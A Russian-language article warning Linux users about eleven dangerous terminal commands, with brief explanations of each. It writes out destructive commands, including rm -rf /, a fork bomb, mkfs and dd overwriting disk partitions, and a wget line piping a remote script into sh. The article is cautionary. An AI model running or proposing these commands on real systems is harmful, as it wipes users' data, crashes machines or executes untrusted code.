В статье «Основные команды для работы в консоли Linux» мы рассматривали основные и безобидные команды для работы в терминале (консоле). В этой статье познакомимся с опасными командами в Linux.
Данные команды не стоит выполнять, многие из этих команд очень опасны для стабильной работы системы, большинство команд требуют выполнения под root правами и должны начинаться с команды sudo.
1. rm -rf /
Команда rm -rf / удаляет все возможное, в том числе файлы на жестком диске и файлы на подключенных съемных носителей.
Команда RM также может быть использована в других опасных способах — rm -rf ~ которая удалит все файлы в вашей домашней папке, в то время как rm -rf * удалит все файлы конфигурации.
2. Команда :(){ :|:& };:
Данная команда является логической бомбой. Она оперирует определением функции с именем ‘:‘, которая вызывает сама себя дважды: один раз на переднем плане и один раз в фоне. Она продолжает своё выполнение снова и снова, пока система не зависнет.
3. mkfs.ext4 /dev/sda1
mkfs.ext4 — Создает новую файловую систему ext4 на следующем устройстве.
/dev/sda1 — Задает первый раздел на первом жестком диске, который, вероятней всего используется под корневую файловую систему.
Если связать данную команду вместе, эта команда может стереть файлы на первом разделе и заменит их новой файловой системой.
4. mv folder /dev/null
Команда mv переместит ‘folder‘ в /dev/null. В Linux /dev/null или null устройство — это специальный файл, который сбрасывает все данные, записанные в него, и сообщает, что операция записи прошла успешно.
Команда является переносом всех данных в чёрную дыру (null).
5. ^foo^bar
Эта команда используется для редактирования предыдущей запущенной команды без необходимости снова заново печатать всю команду.
6. dd if=/dev/random of=/dev/sda
Команда dd сотрёт блок устройства sda и заполнит его рандомным мусором. Система будет неработоспособной.
7. > file
Эта команда используется для стирания текущего файла. Если эта команда будет выполнена с опечаткой или незнанием вроде “> xt.conf”, то это сотрёт конфигурационный или любой другой файл.
8. wget http://site.ru/bashvirus -O — | sh
Данная команда загружает скрипт из сети Интернет и отправляет его на выполнение SH(bash), который выполняет содержимое сценария вне зависимости от того, что будет прописано внутри. Это может быть как опасно, так и нет.
9. any_command > /dev/sda
Данная команда записывает все необработанные данные в блоковые файлы (block special files), что легко разрушает файловую систему, после чего в любом случае потребуется переустановка.
10. yes > /dev/sda
Эта команда заполняет раздел жесткого диска (файловой системы) символами «y», что вызовет разрушение файловой системы.
11. rm -rf /boot/
Команда полностью удалит ядро и файлы загрузчиков которые требуются для загрузки системы. После этого система уже не запустится и потребуется переустановка системы, восстановление здесь уже не спасет.